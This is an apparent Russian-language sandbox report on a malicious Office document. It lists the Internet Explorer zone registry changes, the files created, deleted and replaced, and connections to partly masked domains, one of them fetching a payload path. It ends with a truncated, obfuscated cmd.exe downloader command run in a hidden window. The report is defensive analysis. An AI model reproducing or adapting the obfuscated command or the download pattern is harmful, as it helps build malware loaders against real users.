Техническая информация
Вредоносные функции
Изменяет следующие настройки браузера Windows Internet Explorer
- [\REGISTRY\USER\S-1-5-21-1238866942-1249195528-555854008-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4] '1400' = '00000003'
- [\REGISTRY\USER\S-1-5-21-1238866942-1249195528-555854008-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4] '1C00' = '00000000'
Изменения в файловой системе
Создает следующие файлы
- D:\windows\appcompat\programs\recentfilecache.bcf
- D:\users\user\appdata\local\temp\tarabb.tmp
- D:\users\user\appdata\locallow\microsoft\cryptneturlcache\metadata\94308059b57b3142e455b38a6eb92015
- D:\users\user\appdata\local\temp\cabc80.tmp
- D:\users\user\appdata\local\temp\tarc81.tmp
- D:\users\user\appdata\local\temp\cabce0.tmp
- D:\users\user\appdata\local\temp\tarcf0.tmp
- D:\users\user\appdata\local\temp\cabdfa.tmp
- D:\users\user\appdata\local\temp\tardfb.tmp
- D:\windows\system32\winevt\logs\system.evtx
- D:\windows\system32\winevt\logs\security.evtx
- D:\windows\system32\config\system.log1
- D:\windows\system32\config\system
- D:\windows\system32\winevt\logs\microsoft-windows-networkprofile%4operational.evtx
- D:\windows\system32\winevt\logs\application.evtx
- D:\programdata\microsoft\officesoftwareprotectionplatform\cache\cache.dat
- D:\windows\system32\winevt\logs\windows powershell.evtx
- D:\windows\serviceprofiles\localservice\appdata\local\lastalive1.dat
- D:\users\user\appdata\local\temp\cababa.tmp
- D:\users\user\appdata\roaming\microsoft\windows\recent\customdestinations\2p6mr9zbzys7rgdknzmc.temp
- D:\users\user\appdata\roaming\microsoft\windows\recent\customdestinations\6442w84al39n4pjbx0ec.temp
- D:\system volume information\syscache.hve.log1
- D:\windows\system32\config\software.log1
- D:\windows\system32\config\software
- D:\users\user\appdata\roaming\microsoft\office\mso1033.acl
- D:\rihhkpoe\~$<Имя файла>.xml
- D:\users\user\appdata\local\microsoft\windows\<INETFILES>\content.word\~wrs{01f9beb9-77a2-487d-817d-f04e2c68578e}.tmp
- D:\users\user\appdata\local\microsoft\windows\<INETFILES>\content.mso\f9eabb00.tmp
- D:\users\user\appdata\local\microsoft\windows\<INETFILES>\content.word\~wrs{ecc9d949-44b3-49a4-8ba3-6cf69d0f4dfa}.tmp
- D:\users\user\appdata\roaming\microsoft\office\recent\<Имя файла>.lnk
- D:\users\user\appdata\roaming\microsoft\office\recent\index.dat
- D:\users\user\appdata\local\temp\vbe\msforms.exd
- D:\users\user\appdata\roaming\microsoft\uproof\custom.dic
- D:\users\user\ntuser.dat.log1
- D:\users\user\ntuser.dat
- D:\users\user\appdata\local\microsoft\office\onetconfig\998bcf2d84167c3ecb6ea5f94ac47905.sig
- D:\users\user\appdata\local\microsoft\office\onetconfig\998bcf2d84167c3ecb6ea5f94ac47905.xml
- D:\users\user\appdata\local\microsoft\windows\usrclass.dat.log1
- D:\users\user\appdata\local\microsoft\windows\usrclass.dat
- D:\system volume information\syscache.hve
- D:\windows\serviceprofiles\localservice\appdata\local\lastalive0.dat
Присваивает атрибут 'скрытый' для следующих файлов
- D:\users\user\appdata\roaming\microsoft\office\recent\index.dat
Удаляет следующие файлы
- D:\users\user\appdata\local\microsoft\windows\<INETFILES>\content.mso\f9eabb00.tmp
- D:\users\user\appdata\roaming\microsoft\office\recent\<Имя файла>.lnk
- D:\users\user\appdata\local\microsoft\office\onetconfig\998bcf2d84167c3ecb6ea5f94ac47905.xml
- D:\users\user\appdata\local\microsoft\office\onetconfig\998bcf2d84167c3ecb6ea5f94ac47905.sig
- D:\users\user\appdata\local\temp\cababa.tmp
- D:\users\user\appdata\local\temp\tarabb.tmp
- D:\users\user\appdata\local\temp\cabc80.tmp
- D:\users\user\appdata\local\temp\tarc81.tmp
- D:\users\user\appdata\local\temp\cabce0.tmp
- D:\users\user\appdata\local\temp\tarcf0.tmp
- D:\users\user\appdata\local\temp\cabdfa.tmp
- D:\users\user\appdata\local\temp\tardfb.tmp
Перемещает следующие файлы
- D:\users\user\appdata\roaming\microsoft\windows\recent\customdestinations\6442w84al39n4pjbx0ec.temp в D:\users\user\appdata\roaming\microsoft\windows\recent\customdestinations\590aee7bdd69b59b.customdestinations-ms
- D:\users\user\appdata\roaming\microsoft\windows\recent\customdestinations\2p6mr9zbzys7rgdknzmc.temp в D:\users\user\appdata\roaming\microsoft\windows\recent\customdestinations\969252ce11249fdd.customdestinations-ms
Подменяет следующие файлы
- D:\users\user\appdata\roaming\microsoft\office\recent\<Имя файла>.lnk
- D:\users\user\appdata\local\microsoft\office\onetconfig\998bcf2d84167c3ecb6ea5f94ac47905.sig
- D:\users\user\appdata\local\microsoft\office\onetconfig\998bcf2d84167c3ecb6ea5f94ac47905.xml
Сетевая активность
Подключается к
- 'sa###rocket.com':80
- 'sa###rocket.com':443
- 'ma######ingru.437.com1.ru':80
TCP
Запросы HTTP GET
- http://sa###rocket.com/IcaqhnsKoJZY_s7
Другие
- 'sa###rocket.com':443
UDP
- DNS ASK sa###rocket.com
- DNS ASK pr#####on.likedoors.ru
- DNS ASK ma##dop.com
- DNS ASK ma######ingru.437.com1.ru
- DNS ASK ec#####ekorasyon.gen.tr
Другое
Ищет следующие окна
- ClassName: 'mspim_wnd32' WindowName: ''
- ClassName: 'SystemTray_Main' WindowName: ''
- ClassName: 'MSOBALLOON' WindowName: ''
- ClassName: 'MsoHelp10' WindowName: ''
- ClassName: 'AgentAnim' WindowName: ''
- ClassName: 'NetUICtrlNotifySink' WindowName: ''
- ClassName: 'REListbox20W' WindowName: ''
- ClassName: 'OfficeTooltip' WindowName: ''
- ClassName: 'MsoCommandBarPopup' WindowName: ''
Создает и запускает на исполнение
- 'D:\windows\system32\cmd.exe' \c %ProgramData:~0,1%%ProgramData:~9,2% \V:O\C"set 0o=c1oy g@%U;hnmWLP-9\+Nv_O$7iTAMzw6fuC8r)(S3ZJ:keDE'Ibq\Y=.t0Bl~,sj{a4Gp}R5KxFXdQ&&for %i in (69;2;31;7;15;8;59;14;50;35;44;61;72;62;1;7;37;7...' (со скрытым окном)
